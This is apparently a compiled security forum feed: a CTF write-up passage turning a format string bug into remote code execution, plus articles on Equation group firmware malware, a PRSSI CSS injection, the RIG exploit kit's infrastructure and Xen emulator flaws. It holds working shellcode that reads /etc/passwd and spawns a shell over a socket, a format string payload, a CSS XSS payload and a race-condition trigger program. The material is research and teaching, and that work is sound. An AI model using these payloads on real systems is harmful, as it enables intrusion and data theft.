s.send("\x49\x87\xff\xeb\x3e\x5f\x80\x77\x0b\x41\x48\x31\xc0\x04\x02\x48\x31\xf6\x0f\x05\x66\x81\xec\xff\x0f\x48\x8d\x34\x24\x48\x89\xc7\x48\x31\xd2\x66\xba\xff\x0f\x48\x31\xc0\x0f\x05\x90\x90\x90\x49\x87\xff\x48\x89\xc2\x48\x31\xc0\x04\x01\x0f\x05\x48\x31\xc0\x04\x3c\x0f\x05\xe8\xbd\xff\xff\xff\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64\x41") # handle the incoming connection; in this case, grab the contents of /etc/passwd import telnetlib t = telnetlib.Telnet() t.sock = s t.interact()[/TD] [/TR] [/TABLE] And the output! [TABLE] [TR] [TD=class: gutter]1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42[/TD] [TD=class: code]parameter 5 points to: 0x7fffb6657fc8 address pointed to by parameter 5 contains: 0x7fffb6658f51 scratch contains: 0x72632f656d6f682f scratch is parameter 1123 [+] strlen is at 0x7f7af6e72c40. [+] libc_base is at 0x7f7af6df2000. [+] stack pivot gadget is at 0x7f7af6e74cfe. [+] wrote 0x601b00 to 1123 [+] wrote 0x601b01 to 1124 [+] wrote 0x601b02 to 1125 [+] writing 0xe74cfe to strlen's GOT entry [+] format string payload: %254c%1123$hhn%78c%1124$hhn%155c%1125$hhn HF Remote Secure Shell [1.3.37] Password: root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/bin/sh bin:x:2:2:bin:/bin:/bin/sh sys:x:3:3:sys:/dev:/bin/sh sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/bin/sh man:x:6:12:man:/var/cache/man:/bin/sh lp:x:7:7:lp:/var/spool/lpd:/bin/sh mail:x:8:8:mail:/var/mail:/bin/sh news:x:9:9:news:/var/spool/news:/bin/sh uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh proxy:x:13:13:proxy:/bin:/bin/sh www-data:x:33:33:www-data:/var/www:/bin/sh backup:x:34:34:backup:/var/backups:/bin/sh list:x:38:38:Mailing List Manager:/var/list:/bin/sh irc:x:39:39:ircd:/var/run/ircd:/bin/sh gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh nobody:x:65534:65534:nobody:/nonexistent:/bin/sh libuuid:x:100:101::/var/lib/libuuid:/bin/sh Debian-exim:x:101:103::/var/spool/exim4:/bin/false statd:x:102:65534::/var/lib/nfs:/bin/false sshuser:x:1000:1000:sshuser,,,:/home/sshuser:/bin/bash mysql:x:103:106:MySQL Server,,,:/nonexistent:/bin/false sshd:x:104:65534::/var/run/sshd:/usr/sbin/nologin crackme:x:1001:1001::/home/crackme:/bin/sh *** Connection closed by remote host ***[/TD] [/TR] [/TABLE] Cool, we have arbitrary code execution on the remote box! But remember, the goal was to get a shell… Shell’s up The actual shellcode that landed me a shell uses dup2 to duplicate stdin from the socket. This will allow us to communicate with the spawned shell. The assembly is quite straightforward. Not optimized, not pretty: [TABLE] [TR] [TD=class: gutter]1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32[/TD] [TD=class: code]bits 64 push rdi push rdi push 33 ; dup2 pop rax ; set rax to dup2 ; rdi still contains the socket fd xor esi, esi ; stdin syscall pop rdi inc rsi ; stdout syscall pop rdi inc rsi ; stderr syscall jmp _there _here: pop rdi ; points to /bin/sh xor esi, esi ; argv = NULL xor edx, edx ; argp = NULL push 59 ; execve pop rax syscall push 60 ; exit pop rax syscall _there: call _here db "/bin/sh", 0[/TD] [/TR] [/TABLE] After sticking that shellcode in the exploit, I got a shell! [TABLE] [TR] [TD=class: gutter]1[/TD] [TD=class: code]s.send("\x57\x57\x6a\x21\x58\x31\xf6\x0f\x05\x5f\x48\xff\xc6\x0f\x05\x5f\x48\xff\xc6\x0f\x05\xeb\x0f\x5f\x31\xf6\x31\xd2\x6a\x3b\x58\x0f\x05\x6a\x3c\x58\x0f\x05\xe8\xec\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x00")[/TD] [/TR] [/TABLE] You can see that the dup2 shellcode is not completely effective; I needed to redirect stdout to stdin to get command output so somehow dup2 does not duplicate stdout correctly. But hey, the objective is met! An interactive shell on an otherwise inaccessible server! Wrapping up This was a story of how a single format string vulnerability was beaten into arbitrary code execution. The exploit bypasses ASLR and NX via ROP, and finally sends over shellcode which will be executed. The CTF challenge was not designed with this in mind, but it was a fun exercise (and a potential warmup for Boston Key Party) nonetheless! My thanks go out to Mr.Un1k0d3r for being cool with me trying to break his challenge and even giving me the binary Until the next #maximumoverkill :] Posted by barrebas Feb 22nd, 2015 1:01 pm Sursa: https://barrebas.github.io/blog/2015/02/22/maximum-overkill-two-from-format-string-vulnerability-to-remote-code-execution/

Cyberattackers can reprogram hard drive firmware, according to Kaspersky bulletin By James Sanders February 18, 2015, 9:57 AM PST // jas_np A Kaspersky Lab bulletin indicates a cyberattack group has the capability to infect hard drive firmware. Learn how this capability works, and what it means for your deployed systems. Image: Kaspersky Lab A cyberattack group dubbed Equation group by Russian security firm Kaspersky Lab has a portfolio of intricate and highly sophisticated malware that dates back to at least 2001. The organization is considered by Kaspersky to be "the most advanced threat actor we have seen." The portfolio of Equation group's exploits extensively utilizes a variety of encryption algorithms and hashes, including using SHA-256 1,000 times on an NTFS object ID. Information about the afflicted parties and details regarding the use of code written by Equation group is covered in depth on CNET, as well as information regarding how these disclosures relate to the Stuxnet worm, which was discovered in 2010 and is still a subject of political intrigue. The focus of this article is on the technical inner workings of the Equation group exploit, and the use of drive firmware as an attack vector. What sets Equation apart from other groups? Perhaps the most alarming capability detailed in the report is that the malware produced by Equation can reprogram the firmware of hard drives. According to Kaspersky, the malware's design allows for the creation of hidden sectors on the drive, which are resistant to drive formatting. Naturally, it also provides an API for access to the hidden sectors for use by other Equation components. Of the two identified modules with this capability, the first (from 2010) can reprogram six distinct drive "categories," which constitute individual products or product lines by Maxtor, Seagate, Western Digital, and Samsung. The second version (from 2013) has 12 product classes, which include the previous brands and adds HGST/IBM, Micron, OCZ, OWC, Corsair, and Mushkin. Finnish security firm F-Secure notes that this disclosure describes the capabilities of a utility called IRATEMONK in an internal National Security Agency (NSA) catalog from 2008 that "provides software application persistence...through MBR substitution." This utility can infect the firmware of "a variety of Western Digital, Seagate, Maxtor, and Samsung hard drives," which supports FAT, NTFS, EXT3, and UFS file systems not running as part of a RAID array. What are the implications of using that attack vector? In an interview with Reuters, lead Kaspersky researcher Costin Raiu claims that the vendors must have had access to the source code of the drive firmware. Raiu is quoted by Reuters as saying that, "There is zero chance that someone could rewrite the [hard drive] operating system using public information." In response to this claim, a Western Digital spokesman told Reuters they "[have] not provided its source code to government agencies." Reuters indicates other drive makers declined to say if they have shared their source code. A Seagate spokesman said it has "secure measures to prevent tampering or reverse engineering of its firmware and other technologies." In the report from Reuters -- which names the NSA as the developers of this exploit -- it is possible for the government to request source code in the process of a security audit for government purchases. Importantly, the Kaspersky report notes that this exploit is extremely rare, and that it is "kept for the most valuable victims or for some very unusual circumstances." This does not appear to be a scenario in which Equation-produced code is accompanying drives shipped from the factory. How hard is it to reverse-engineer drive firmware? Surprisingly, the answer to that question is not very, but it is not trivial either. A hard drive is, in essence, functionally identical to any other integrated system. Typically speaking, the circuit board on a hard drive contains DRAM for the drive cache, a spindle motor controller, the drive controller -- a multi-core ARM processor for modern drives. Some drives, like the drive used in this experiment at SpritesMods, have an additional serial flash to store the firmware, though others may keep this storage internal to the controller. These drive controllers are either off-the-shelf parts, or made by the drive vendors. In the experiment at SpritesMods, the Western Digital firmware does not contain any obfuscation tricks. That experiment starts with getting access by connecting to an ARM core on the controller accessible via JTAG, which allows for easier debugging with breakpoints and memory editing. In that experiment, making a persistent change to the drive firmware was possible -- the memory layout of the chip was already documented, and free space existed in which to inject arbitrary instructions, which can be executed before the rest of the drive firmware by changing the execution order in the header. Notably, some of the instruction blocks in the firmware code are stored in an unknown compression format and unpacked into RAM at start -- making this edit does not require the ability to modify that code in the compressed state. When it is unpacked for execution at boot, the arbitrary code can insert hooks into the executed code. In the SpritesMods experiment, a small program was written utilizing code from the idle3-tools package, which allows for the firmware to be flashed to the drive. What does this mean for deployed systems? Considering the rarity with which this exploit appears to be used, it probably is not an issue worth worrying about at this time. Windows users are a more obvious target through sheer ubiquity, though Mac OS X and Linux users should know there is no security through obscurity. The Kaspersky report indicates there are some signs that Equation can target non-Windows systems, and IRATEMONK is documented as supporting EXT3 and UFS. The opaque nature of hard drive firmware, and the extensive amount of vendor-specific commands, often with poor to no documentation (a somewhat shocking state of affairs for such ubiquitous hardware as mass storage devices) is reason to give pause. Ariel Berkman of the Israeli firm Recover has written a proof-of-concept on hiding data in reserved service space that only requires knowledge of vendor-specific commands, which has the potential to be easier than firmware modification. Also read Beyond Stuxnet and Flame: Equation 'most advanced' cybercriminal gang recorded (ZDNet) NSA planted surveillance software on hard drives, report says (CNET) Free ebook: Executive's guide to the next wave of security challenges Security and Privacy: New Challenges (ZDNet/TechRepublic special feature) Disclaimer: TechRepublic, CNET, and ZDNet are CBS Interactive properties. Sursa: http://www.techrepublic.com/article/cyberattackers-can-reprogram-hard-drive-firmware-according-to-kaspersky-bulletin/

[h=1]TaiG Jailbreak Tool[/h][h=2]TaiG Team Announcement[/h] Dear Taig Jailbreak Tool users, Happy Chinese New Year! In the beginning at the Year of the Goat, we welcomes a whole new future. According to the Chinese old traditions, Taig Team prepared a special Spring Festival gift for you all. Early this month, Apple released iOS 8.1.3, part of users have successfully upgraded to the newest system version, while temporarily there is no untethered jailbreak mothed for iOS 8.1.3. As we said before, Taig Jailbreak Team have already completed the untethered jailbreak support for iOS 8.2. Recently, Apple just released the iOS 8.2 beta 5 version, which means the official iOS 8.2 would come soon. So we decided to announce the TaiG Jailbreak Tool for iOS 8.2 beta 1&2 on Windows. To those who have already upgraded to iOS 8.1.3, we suggest you upgrading to iOS 8.2 beta 1&2 by using TaiG Firmware Upgrade Tool, and then use TaiG Jailbreak Tool to jailbreak your device. To TaiG users, thanks for your support and kindness; to Chinese and foreign media, thanks for your reports and attention. TaiG Jailbreak Team wish you a happy Goat Year and good luck. Sursa: TaiG Jailbreak Tool – untether Jailbreak for iOS8.0-8.1.2, TaiG official website, Download TaiG

Evil CSS injection bug warning: Don't let hackers cross paths with your website Say hello to a fascinating vulnerability in web scripts 20 Feb 2015 at 10:31, John Leyden Developers should check their websites for path-relative stylesheet import (PRSSI) vulnerabilities, which can allow miscreants to hijack web pages and steal login cookies, security researchers have urged. PRSSI flaws were documented by Gareth Heyes early last year; he calls them relative path overwrites. The trick is to lure browsers into importing malicious CSS. Imagine you've found a website with the script: http://somesite.ninja/forum/showthreads.php ...which shows a list of threads by their title in a forum. The HTML output of the script contains the line: <link href="styles.css" rel="stylesheet" type="text/css" /> If you create a forum thread with the title: Hello world {}*{xss:expression(open(alert(1)))} ...and trick logged-in users into clicking on this link: 404 Not Found ...then something rather interesting may happen: the web browser attempts to fetch styles.css by its relative path, which will be /forum/showthreads.php/styles.css rather than what the developer may have expected: /forum/styles.css. Unless configured otherwise, the web server will return the HTML output of showthreads.php instead of styles.css when the browser tries to fetch that stylesheet. That HTML, a list of forum threads, is useless as a stylesheet, but it does contain your own CSS in one of the thread titles: {}*{xss:expression(open(alert(1)))} This embedded JavaScript, alert(1), is imported and will execute in the context of the logged-in user, popping up a dialog box. Replace that code with something more evil, like something that grabs the session cookie and sends it to a malicious server, and congrats: you've earned a black hat. Exactly how the injected CSS is formatted will depend on the web browser, it seems. It also depends on how the web server handles PHP scripts and the like. PortSwigger Web Security, the outfit behind the bug-hunting Burp Suite, warns this class of vulnerability is esoteric in nature and likely missed by software auditors. A blog post by the biz describes a real PRSSI flaw in the popular bulletin board phpBB31 as an example. PortSwigger, though, is unaware of crooks exploiting PRSSIs in the wild. To stop bad guys and girls exploiting CSS paths, developers are urged to: Avoid using path-relative links Set the server header X-Frame-Options to "deny" on all pages Set the server header X-Content-Type-Options to "nosniff" on all pages Set a modern doctype on all pages The biz said it published its blog post in order to “explain a vulnerability and attack that is not widely understood, and to give people a means of identifying if they are vulnerable.” “Someone else invented the core attack technique a few months ago, but we have developed it further and demonstrated its use in real world situations,” Dafydd Stuttard founder and boss of PortSwigger Web Security told El Reg this week. “This technique is currently quite esoteric, so it’s often effective against sites that have already been subjected to professional or crowdsourced audits. However, successfully exploiting it in a real world environment involves navigating an array of arcane browser internals that often aren't otherwise highly relevant to pen testers.” Stuttard added: “We aren't aware of any cases of real-world exploitation. We chose that web app as a research target because it is widely used and relatively secure generally. After we reported the bug to the app's authors, we waited for them to fix before using the example to raise awareness. It's likely that lots of live sites are vulnerable, and liable to be targeted as awareness of the issue increases.” ® Bootnote 1 The phpBB vulnerability in question was patched in version 3.0.13 of the software. Sursa: http://www.theregister.co.uk/2015/02/20/prssi_web_vuln/

Cica nu ar fi reparata complet.

RIG Exploit Kit – Diving Deeper into the Infrastructure February 23, 2015 Posted By SpiderLabs Research Following our previous blog post about the leaking of the RIG exploit kit's source code, we dug deeper into the architecture that facilitates the massive infections using RIG. The screen shot below diagrams RIG's infrastructure. RIG Exploit Kit Infrastructure Most commonly we see only the one end of this rabbit hole--the compromised site and the proxy server. Below we will detail what happens behind the scenes during the infection and explain how RIG customers use it to deploy their infection campaigns. We weren't kidding about digging deep, so grab a cup of coffee because you may be here a while. First thing first RIG's infrastructure might look complicated, but it's rather straightforward for the customer who simply wants to infect victims and generate revenue. So, we'll start with the basics. For the purposes of our analysis, we'll take the perspective of a RIG customer that already maintains a backdoor on a popular web site and now wants to monetize that traffic. First, the RIG customer needs a URL to which they can redirect the traffic to exploit victims' machines. RIG customer API - "api.php" RIG Customer API ("Get Link" button - generates customer's specific URL) In order to infect victims, the RIG customer has to choose a payload and upload it through the admin panel – but we won't focus on this. Once the RIG customer uploads the payload, it makes sense that the next step would be pointing victims to the infection page. However, in order to evade detection by web filters and URL lists, the landing page needs to update regularly. RIG provides an API for this purpose that creates new, valid infection URLs on demand. Clicking on the "Get Link" button in the interface pictured above will provide the API URL. The URL will be in the following format: hxxp://[RIG-Instance-Server]/api.php?apitoken=[API TOKEN] The "API TOKEN" at the end of the URL is a unique key that combines the user's ID with the current "Flow ID" (pictured in Figure 2 below), serializes the combination and encrypts it using RC4 with a private key configurable only by the main RIG administrator. Each RIG user can have up to 2 distinct flows, which allows for infections via different payloads for each flow. Code snippet that appends the API token The PROXY Layer The output of the URL above is the "PROXY" URL which functions as the "infection page". Here is an example of the structure of the "PROXY" URL: hxxp://[PROXY Server]/proxy.php?PHPSSESID=njrMNruDMlmbScafcaqfH7sWaBLPThnJkpDZw-4|OTMxOGYwMjdkZTMxOGFmN2M5OWZkMDNjODE0MmMyODM Every request to a PROXY URL (e.g., "index.php?PHPSSESID=…", "proxy.php?PHPSSESID=…", or more commonly just "hxxp://current-proxy-domain/?PHPSESSID=…") contains the token of a RIG customer for the specific campaign. Basically, all customers using the same RIG exploit kit server share the PROXY URL. Before we discuss the PROXY core, let's take a closer look at the URI generated by the "api.php". The URI is divided into 2 parts separated with the character "|". Here's the first part from our example: njrMNruDMlmbScafcaqfH7sWaBLPThnJkpDZw-4 This encrypted string is actually a URL for a different server that handles requests to load an exploit and send it back to the victim's machine. Let's take a look at how this URL is generated: Encrypted VDS URL code To decrypt this content we need to use RC4 with the key and then use the function "base64url_decode". Here is the result of the string above, which is the VDS server that we will examine later on: http://vdstomama[.]com/core.php The second part of the URL structure is less exciting. The objective is to make sure the URL becomes invalid after a certain period of time - which is configurable by the RIG exploit kit admin; the default is 720 seconds (12 minutes). This technique is very effective because after 12 minutes the URL doesn't serve the exploits and is useless to security researchers trying to analyze such URLs. Token generation code The screenshot above describes the generation process of the token, which is a combination of the time, the user ID and the user login name all together with MD5 and later on with base64url_encode. Now, let's get back to the place where the PROXY URLs are managed: Proxy list management Only the RIG exploit kit administrator can manage this list. RIG customers have no control over it. The admin can bulk-load domains or load them one-by-one. This list functions as a queue using the first item (topmost) until anti-virus tools begin detecting it or it is no longer online. On every RIG admin server, a scheduled task runs every 5 minutes to check the first active PROXY on the list: PHP code to check the domains to be used as proxy servers The domain is scanned by the "avdetect.com" service, and it is removed from the active list once it is detected as malicious. Additionally, if anti-virus vendors start to blacklist the PROXY server, then the RIG admin code will send the PROXY server a command to switch its assigned domain. Proxy domains blacklisting code The RIG administration server accesses the PROXY with a unique key along with the domain that should be removed. The domain is inserted into a blacklist file that is checked each time a victim is browsing the PROXY server. The VDS Layer – Providing the landing page and exploits VDS stands for Virtual Dedicated Server. VDS serves the role of an exploit generator. The main objective is to avoid detection by keeping those servers hidden from the world. According to records we've collected since August 2014, the RIG developers only used three different VDS servers. First stage – fetching the landing page: The first time the VDS is accessed results in the landing page content. The HTML/JS code itself is obfuscated using a function called CryptJS written by RIG's developers. PHP function obfuscates the malicious JS code After obfuscating the code, RIG's developers take extra caution by encrypting all of the data sent to the PROXY to avoid detection by IPS or anything monitoring the traffic. PHP code serving the landing page (+ notify the admin server) After sending the content back to the PROXY as depicted in the screenshot above, the VDS reports back to the RIG admin server about the exploit attempt. Second stage – fetching the exploits: The landing page will check if the browser supports Java, Flash or Silverlight. According to the results of the plug-in enumeration code, the victim's browser will request the respective exploits. The PROXY receives the request from the victim machine and delivers it to the VDS. In order to request the appropriate exploit, the victim's browser will issue another request with a new parameter named "req". For example, if the value is "swf", the VDS server will send back the Flash exploit. For example: hxxp://[redacted].ga/proxy.php?req=swf&num=8454&PHPSSESID=njrMNruDMlmbScafcaqfH7sWaBLPThnJkpDZw- 4|OTMxOGYwMjdkZTMxOGFmN2M5OWZkMDNjODE0MmMyODM However, unlike the plug-in exploits that are only served if applicable, the Internet Explorer exploit is served without any prerequisites, already in the first VDS response along with the initial landing page. Third stage – fetching the payload: After it's exploited, the victim machine requests the payload using the parameter "req" with the value "mp3". Payload serving code The VDS sends a request to the RIG admin server along with information about the victim machine and asks for the relevant payload that should be delivered. The payload is pulled from the RIG admin server and encrypted using an RC4 key (a different key from the previous one) to avoid anti-virus detection. Encrypted payload Since this key is less important, it is sent to the victim machine during the exploitation phase. The executable itself is decrypted on the victim machine, written to the file system and then executed. For example, if the successful exploit is CVE-2014-6332 then the decryption phase looks like this: Payload decryption (part of the exploits) RIG Administration Server The RIG developers planned the infrastructure as a layered structure: the RIG admin server is basically nothing but a control panel and does not proactively exploit victim machines. Therefore, the RIG admin server can function for a long period of time behind a service such as CloudFlare, unlike the proxies, which are replaced regularly. The admin server provides RIG customers with full control of their malware campaign and does not require any specialized knowledge of the back end. The RIG customer only needs to (1) figure out how to spread the infection URLs (typically by compromising web sites with large volumes of traffic, or malvertising) and (2) ensure the payload is stable. Payload management panel Just like its competition, the RIG exploit kit provides complete statistics of the campaign's achievements. Flow statistics The screenshot above displays the main statistics page of the exploit kit. The overall exploitation rate for this specific "flow" is 14.7%. You can notice that the overall exploitation is divided between Flash and Internat Explorer exploits. Specific CVEs include: CVE-0214-0311 in Flash; CVE-2013-2551 in versions 7, 8, and 9 of MSIE; and CVE-2014-6332 in Internet Explorer 10. Additional information reported includes countries targeted, browser versions and OS. The business model Here you'll see an advertisment for the RIG exploit kit on a Russian forum: RIG advertisement This advertisement is aimed at customers that want to distribute their malware (payload) using the RIG exploit kit. The criminals behind RIG also established a reselling model, whereby each reseller can have their own RIG admin panel from which their own customers will deploy infection campaigns. Thus far our research has shown at least two large resellers accounting for over 250 customers combined. We can only assume there are additional resellers. Nonetheless, in comparison to the main RIG admin panel, which provided services to about 360 customers, it becomes evident that the reselling model almost doubled their profit. The data we examined accounts for the period of time between August 2014 and February 2015. RIG reselling model Multiplying 600 customers by $150 (the price per week of use), we estimate that the RIG exploit kit could be generating up to $90,000 per week. This rough estimate doesn't take into account operational expenses or customers that pay with a portion of their infections (similar to the Magnitude exploit kit's model), but it still shows that exploit kits can result in a very nice profit for the developers. Trustwave customers using Trustwave SWG or Trustwave UTM are protected against RIG Exploit Kit without the need for any further updates. Sursa: https://www.trustwave.com/Resources/SpiderLabs-Blog/RIG-Exploit-Kit-%E2%80%93-Diving-Deeper-into-the-Infrastructure/

The Dangers of x86 Emulation: Xen XSA 110 and 105 Posted by Felix Wilhelm Developing a secure and feature rich hypervisor is no easy task. Recently, the open source Xen hypervisor was affected by two interesting vulnerabilities involving its x86 emulation code: XSA 110 and XSA 105. Both bugs show that the attack surface of hypervisors is often larger than expected. XSA 105 was originally reported by Andrei Lutas from BitDefender. The patch adds missing privilege checks to the emulation routines of several critical system instructions including LGDT and LIDT. The vulnerable code can be reached from unprivileged user code running inside hardware virtual machine (HVM) guests and can be used to escalate guest privileges. XSA 110 was reported by Jan Beulich from SUSE and concerns insufficient checks when emulating long jumps, calls or returns. Readers interested in virtualization technology might wonder about the existence of an instruction emulator in the HVM hypervisor code: One of the advantages of hardware-assisted virtualization is the ability to execute privileged instructions natively and securely. While this is true in general, emulation is still needed for some special cases: Instructions accessing memory mapped IO space. VMs running in real mode: Due to restrictions of earlier Intel VMX versions many popular hypervisors emulate VM code running in real mode. Support instructions not yet implemented by the physical hardware. In practice, all mainstream hypervisors include at least basic emulation support with very varying quality. While memory flaws in the emulator code could allow for a complete hypervisor breakout, logic bugs involving wrongly emulated instructions are much more common. In the worst case, these bugs can result in privilege escalation vulnerabilities inside the guest VM, as it is the case for XSA 105. As mentioned in the advisory, the bug is caused by missing privilege checks for certain special instructions. In order to exploit this bug for privilege escalation, we require a way to emulate arbitrary instructions as a normal user inside a VM. Emulating Arbitrary Instructions Fortunately, emulation of arbitrary instructions can be triggered easily on guests with multiple virtual CPUs, as described by Andrej Lutas in his writeup: First, we raise an #UD exception on one the CPUs by executing an invalid opcode. This will trigger an VM exit, which is handled by the main vm exit handler. For Intel CPUs, this handler is the vmx_vmexit_handler function defined in x86/hvm/vmx/vmx.c: void vmx_vmexit_handler(struct cpu_user_regs *regs) { … switch ( exit_reason ) { … case TRAP_invalid_op: HVMTRACE_1D(TRAP, vector); vmx_vmexit_ud_intercept(regs); break; … } While the complete exit handler is quite complex, at its core is just a big switch statement based on the VMX exit reason. In the case of an #UD exception, the vmx_vmxeit_ud_intercept function is called: static void vmx_vmexit_ud_intercept(struct cpu_user_regs *regs){ struct hvm_emulate_ctxt ctxt; int rc; hvm_emulate_prepare(&ctxt, regs); rc = hvm_emulate_one(&ctxt); ... } As we can see, the function is a small wrapper around hvm_emulate_one, which in turn calls into the x86_emulate function defined in x86/x86_emulate/x86_emulate.c for the actual emulation. One interesting aspect for us is that x86_emulate fetches the actual bytes to be emulated directly from the guest memory. This means, that there exists a race condition from the time when the #UD exception is raised to the point when x86_emulate fetches the instruction bytes. If we use our second virtual CPU to manipulate the originally invalid opcode during this time span, we can force emulation of arbitrary assembly instructions. While winning this race reliably is quite hard, even a small chance to win is sufficient for our use case. The code snippet below shows a minimal sample that will trigger emulation of a far return using this technique: #include <stdlib.h> #include <pthread.h> #include <time.h> #include <stdio.h> #include <sys/mman.h> #include <unistd.h> // Initialize barrier with 0 long barrier=0; void *thread_one(void *x) { __asm volatile(".intel_syntax noprefix\n" ".code64\n" // Write UD2 instruction at position of ret "mov byte ptr [trigger], 0x0F\n" "mov byte ptr [trigger+1], 0x0B\n" // Increase barrier "lea rax, [barrier]\n" "lock inc qword ptr [rax]\n" "wait:\n" "cmp qword ptr [rax], 2\n" // Wait until thread_two arrives at barrier "jnz wait\n" "trigger:\n" // Will be replaced with UD2 by now "rex64 retf\n" ".att_syntax prefix\n" ); } void *thread_two(void *x) { __asm volatile(".intel_syntax noprefix\n" ".code64\n" "lea rax, [barrier]\n" "lock inc qword ptr [rax]\n" "wait2:\n" "cmp qword ptr [rax], 2\n" "jnz wait2\n" // Restore far ret instruction "mov byte ptr [trigger], 0x48\n" "mov byte ptr [trigger+1], 0xCB\n" ".att_syntax prefix\n" ); } void doStuff(void) { // Initialize and start both threads. pthread_t h1, h2; pthread_create(&h1,NULL,thread_one,NULL); pthread_create(&h2,NULL,thread_two,NULL); pthread_join(h1,0); pthread_join(h2,0); } int main(int argc, char **argv) { // We have to make the code of thread_one writable in order to enable // patching of the instruction. Simply mprotecting the whole page is the // easiest way to do this. long page_size = sysconf(_SC_PAGESIZE); long address = (long) thread_one; mprotect(((void *) (address & ~(page_size-1))), page_size, PROT_READ | PROT_WRITE | PROT_EXEC); doStuff(); return 0; } Of course without bugs in the emulator code this ability is not very interesting in itself. Besides classic low-level code issues like memory corruptions there are two features of an emulator that can be an interesting source of security vulnerabilities: Guest Memory Access: Most emulated instructions will access VM memory either directly or indirectly. During normal operation memory access checks are performed automatically by the hardware. However, when emulating all these checks have to be performed by the hypervisor itself. The low level nature of this code, as well as the high complexity of the x86 architecture makes this work quite error prone. Privileged Instructions: Several x86 instructions should only be called from ring 0. This includes instructions that manipulate control or system registers, instructions that influence segment selector or even simple ones like “HLT” which halts the CPU. Xen XSA 105 Xen XSA 105 is a quite simple example of the second bug type. When looking at the implementation of the wrmsr instruction inside the Xen emulator, we can see that the instruction will be only be evaluated when the caller is in ring 0: case 0x30: /* wrmsr */ { uint64_t val = ((uint64_t)_regs.edx << 32) | (uint32_t)_regs.eax; [B]generate_exception_if(!mode_ring0(), EXC_GP, 0);[/B] fail_if(ops->write_msr == NULL); if ( (rc = ops->write_msr((uint32_t)_regs.ecx, val, ctxt)) != 0 ) goto done; break; } However, this check is missing for several other functions including HLT, LIDT and LGDT. case 0xf4: /* hlt */ ctxt->retire.flags.hlt = 1; break; … case 2: /* lgdt */ case 3: /* lidt */ generate_exception_if(ea.type != OP_MEM, EXC_UD, -1); fail_if(ops->write_segment == NULL); memset(®, 0, sizeof(reg)); if ( (rc = read_ulong(ea.mem.seg, ea.mem.off+0, &limit, 2, ctxt, ops)) || (rc = read_ulong(ea.mem.seg, ea.mem.off+2, &base, mode_64bit() ? 8 : 4, ctxt, ops)) ) goto done; reg.base = base; reg.limit = limit; if ( op_bytes == 2 ) reg.base &= 0xffffff; if ( (rc = ops->write_segment((modrm_reg & 1) ? x86_seg_idtr : x86_seg_gdtr, ®, ctxt)) ) goto done; break; Because LIDT allows the overwriting of the Interrupt Descriptor Table which stores the handler of all hardware and software interrupts, privilege escalation is easily possible. The already mentioned whitepaper describes the exploitation process on Windows in detail. The patch for XSA 105 is as simple as the bug. Just add ring 0 checks in front of all privileged instructions. Xen XSA 110 The second recent bug involving the Xen emulator is Xen XSA 110, which was discovered by Jan Beulich from SUSE. X86 supports far branch instructions that support jumping to a new address while simultaneously changing the code segment selector to a new value. In order to understand the underlying details of this vulnerability, a bit of background about the role of segment selectors on modern operating systems is needed: When we are talking about ring 0 or ring 3 mode, we are actually talking about the “Current Privilege Level” (CPL) of the currently executing code. The CPL is encoded in the lowest bits of the CS segment selector and cannot be changed by normal means. Direct access to the CS register is impossible and instructions that change the value of the CS register take care to ensure that a switch to ring 0 is only possible under special predefined circumstances. Besides being used for enabling and disabling access to privileged instructions, the CPL is used whenever memory is accessed. The “Descriptor Privilege Level” (DPL) of a memory segment that is encoded in the segment descriptor restricts access to code that executes with a CPL smaller or equal to DPL. The issue patched with XSA 110 is the fact that the actual checks performed by the Xen emulator when changing the value of the CS register are much weaker than they should be. The following code is part of the vulnerable function protmode_load_seg defined in x86/x86_emulate/x86_emulate.c: dpl = (desc.b >> 13) & 3; rpl = sel & 3; cpl = ss.attr.fields.dpl; switch ( seg ) { case x86_seg_cs: /* Code segment? */ if ( !(desc.b & (1u<<11)) ) goto raise_exn; /* Non-conforming segment: check DPL against RPL. */ if ( ((desc.b & (6u<<9)) != (6u<<9)) && (dpl != rpl) ) goto raise_exn; break; protmode_load_seg is indirectly called by the emulation routines of all far branching instructions (RETF, CALL and JMP). Its purpose is to change the value of a segment selector register after validating the new value. However, in the unpatched version no sufficient checking is performed. An attacker wanting to escalate privileges on a Linux system would choose the CS register value 0x10, which corresponds to the CS value used by the Linux kernel. In this case the variables rpl and dpl in Listing 6 would be 0, while the current CPL would still be 3. But because the switch for the code segment does not check the current CPL in any way, the instruction would be emulated. While we originally thought this bug would be sufficient for privilege escalation, this does not seem to be the case due to an interesting and lesser-known property of the Intel x86 architecture. While the current CPL is always stored in the lowest bits of the CS selector, there is a hard requirement that the same value is also stored in the DPL field of the stack segment. Because this requirement is not actually handled by the emulator code, an exploit targeting this vulnerability will result in a crash of the virtual machine. A normal user should not be able to trigger this behavior, but it is a significantly less interesting bug. Summary Xen XSA 105 and XSA 110 are two bugs involving the Xen x86 emulation code. They both can be used to crash a virtual machine as an unprivileged user and XSA 105 even allows privilege escalation independent of vulnerabilities in the virtualized operating system. Bugs like this show that hypervisors are often not as hardened as many people assume and the introduction of additional software layers will lead to additional bugs. Full exploit code for Xen XSA 105 will be presented during the Exploiting Hypervisors Workshop at Troopers 15 and will be released publicly sometimes after that. Sursa: http://www.insinuator.net/2015/02/the-dangers-of-x86-emulation-xen-xsa-110-and-105/

Da, vreau si eu un SSD produs inainte de 2006

Shit just got serious.

OFFENSIVE SECURITY LECTURES - 12: EXPLOIT DEVELOPMENT 103 Description: Third lecture in the exploit development lecture series. Coverage of heap and format string exploition (with demos), as well as exploit mitigations (ASLR, NX/DEP, stack cookies, EMET, etc...) PDF:- https://docs.google.com/presentation/d/1jG-doOVFTg2ayamQ7E5tlfSw3HLb6VOARUu48TTMpHo/edit?usp=sharing Reading: Read 0x680 up to 0x6A0 in HAOE Via: http://www.securitytube.net/video/12450

